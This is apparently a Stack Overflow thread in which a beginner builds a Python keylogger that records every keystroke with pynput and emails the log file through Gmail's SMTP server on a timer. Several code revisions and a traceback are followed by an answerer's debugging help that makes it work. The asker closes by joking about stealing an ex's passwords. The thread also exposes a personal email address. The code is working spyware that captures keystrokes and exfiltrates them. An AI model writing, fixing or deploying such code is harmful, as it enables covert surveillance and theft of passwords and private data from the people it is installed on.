1

for a project I am working on a python keylogger. I have completed both the key logging module and the email module which sends the log files back to me but am having trouble on merging them together. I would like the keylogger to send me an email including the log file every 24 hours. How could I do that?

I tried using a simple time.sleep() delay but since the keylogging module only stops when I kill it as a process it never gets to the delay because it is "infinite" you could say.

Here is my current code:

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard

#Keylogging Module
def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

#Email module
email_user = 'miku.rebane@gmail.com'
email_send = 'miku.rebane@gmail.com'
subject = 'KeyLog'


msg = MIMEMultipart()
msg['From'] = email_user
msg['To']   = email_send
msg['Subject'] = subject

body = 'Log File Attached'
msg.attach(MIMEText (body, 'plain'))

filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
attachment  =open(filename,'rb')

part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename= "+filename)

msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP('smtp.gmail.com',587)
server.starttls()
server.login(email_user,"mypassword")

server.sendmail(email_user,email_send,text)
server.quit()

Please explain answers very simply because I am an absolute beginner.

Edit: This is the new code, which unfortunetly doesn't work.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading


def on_press(key):
    file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"mypassword")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()

Edit 3: Re-organized the code, works but incomplete logs are sent.

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import  MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
from pynput import keyboard
import threading

file = open("C:\\Users\\mikur\\Desktop\\KeyLog.txt", 'a')

 def sendlog():
    threading.Timer(10.0, sendlog).start()
    email_user = 'miku.rebane@gmail.com'
    email_send = 'miku.rebane@gmail.com'
    subject = 'KeyLog'
    msg = MIMEMultipart()
    msg['From'] = email_user
    msg['To']   = email_send
    msg['Subject'] = subject
    body = 'Log File Attached'
    msg.attach(MIMEText (body, 'plain'))
    filename='C:\\Users\\mikur\\Desktop\\KeyLog.txt'
    attachment  =open(filename,'rb')
    part = MIMEBase('application','octet-stream')
    part.set_payload((attachment).read())
    encoders.encode_base64(part)
    part.add_header('Content-Disposition',"attachment; filename= "+filename)
    msg.attach(part)
    text = msg.as_string()
    server = smtplib.SMTP('smtp.gmail.com',587)
    server.starttls()
    server.login(email_user,"password")
    server.sendmail(email_user,email_send,text)
    server.quit()


sendlog()  


#Keylogging Module
def on_press(key):
    file.write(str(key))
    file.close()


with keyboard.Listener(on_press=on_press) as Listener:
    Listener.join()

Edit 4: This error appears when using code form Edit 3:

Traceback (most recent call last):
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 47, in <module>
    Listener.join()
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 199, in join
    six.reraise(exc_type, exc_value, exc_traceback)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\six.py", line 692, in reraise
    raise value.with_traceback(tb)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 154, in inner
    return f(self, *args, **kwargs)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\keyboard\_win32.py", line 237, in _process
    self.on_press(key)
  File "C:\Users\mikur\AppData\Local\Programs\Python\Python37-32\lib\site-packages\pynput\_util\__init__.py", line 75, in inner
    if f(*args) is False:
  File "C:\Users\mikur\Desktop\keylogger testing.py", line 42, in on_press
    file.write(str(key))
ValueError: I/O operation on closed file.
Mihkel
  • 689
  • 7
  • 34
  • 1
    are you open to having two different programs or atleast processes? One for logging, another for sending emails? – Anuvrat Parashar Sep 29 '18 at 12:26
  • this is a [duplicate](https://stackoverflow.com/questions/474528/what-is-the-best-way-to-repeatedly-execute-a-function-every-x-seconds-in-python) – deadvoid Sep 29 '18 at 12:59
  • @AnuvratParashar I was thinking about having both in the same script to make it simpler, so one porcess. – Mihkel Sep 29 '18 at 14:19
  • 1
    if your main process is blocking, you will have to start another one to send the emails. – Anuvrat Parashar Sep 30 '18 at 06:16
  • do you mean logging? (you said blocking) – Mihkel Sep 30 '18 at 08:17
  • A process 'blocks' when it waits for a response instead of returning. If your logging is 'blocking' then it would prevent any other processing (i.e. sending an email). I don't think it's blocking because you did get the email. – Don Shrout Sep 30 '18 at 11:24
  • I see, I was wondering if I could instead have 2 separate py scripts and just merge them into a single exe? is that possible? – Mihkel Sep 30 '18 at 11:27
  • Yes. See the accepted answer here: https://stackoverflow.com/questions/21321700/15-python-scripts-into-one-executable – Don Shrout Sep 30 '18 at 11:46

1 Answers1

2

As per this answer: https://stackoverflow.com/a/3393759/1910863

You can use a threading timer. Here is the code snippet from the linked answer:

import threading

def printit():
    threading.Timer(5.0, printit).start()
    print "Hello, World!"

printit() 

You would call (or schedule) your method at the start of your script and it will re-schedule itself every time it fires.

If you like this answer, you should upvote the linked answer as he is the one that deserves the credit for it.

Don Shrout
  • 865
  • 10
  • 17
  • I still couldn't get it to work, the email was never sent. No error messages, I updated the question with the new code. – Mihkel Sep 29 '18 at 14:28
  • I believe it is part of python's standard library. The import should be all you need to use it. Even the initial email isn't sent? – Don Shrout Sep 29 '18 at 14:48
  • nope, nothing is sent. And yes I did change "mypassword" back to the actual password for the gmail account – Mihkel Sep 29 '18 at 14:53
  • I did some more testing, if I remove the keylogging part it works fine. sends me an email every 10 seconds like it's supposed to – Mihkel Sep 29 '18 at 15:05
  • Progress! So now just to figure out why the keylogging breaks it. – Don Shrout Sep 29 '18 at 15:07
  • maybe it's because the keylogging is infinite so it never reaches the email part of the code??? – Mihkel Sep 29 '18 at 15:18
  • Can you call `sendlog()` before you start the keylogging? – Don Shrout Sep 29 '18 at 15:21
  • i tried that but that returns an error about how the logging file doesnt exist. So I moved the creation of the logging file above that. This did work but the logs I was sent were incomplete and only included 1 or 2 letters. Ill update the question in a sec. edit: I edited the question – Mihkel Sep 29 '18 at 15:27
  • It sounds like the logger isn't capturing all the key strokes. Do you know if what's in the file is the first key strokes or the last or kinda random? – Don Shrout Sep 29 '18 at 18:05
  • seems like just the first ones. – Mihkel Sep 30 '18 at 05:47
  • It also also spits out a bunch of errors. I edited the question – Mihkel Sep 30 '18 at 05:54
  • Oh! You open the file at the very start but then close the file in `on_press(key)`. You can't write to a file after you have closed it. That's what's throwing the IO Error. Try not closing it in `on_press(key)`. That should fix your issue. – Don Shrout Sep 30 '18 at 11:16
  • Where should I close it instead, after on_press() key is done? – Mihkel Sep 30 '18 at 11:28
  • You could open and close it on every key press. That's how you had it to begin with. Was that giving you problems? – Don Shrout Sep 30 '18 at 11:36
  • yeah that was giving me problems, thats how I got the error on edit 4 – Mihkel Sep 30 '18 at 13:10
  • The code in Edit 3 is opening the file at the very top, outside of `on_press(key)`. In `on_press(key)` you are writing to the file then closing it. You never reopen it. That is what is giving the I/O error in edit 4. Try placing the `file = open` command just above the `file.write` command, inside the `on_press(key)` method. – Don Shrout Sep 30 '18 at 13:17
  • i think that worked, I ended up placing ´file = open´ right above ´def sendlog()´. And then having another file open before ´file.write´ in ´on_press´. I am going to do more testing but it seems to work, thanks. – Mihkel Sep 30 '18 at 13:28
  • time to steal my ex's passwords! (jk) – Mihkel Sep 30 '18 at 13:31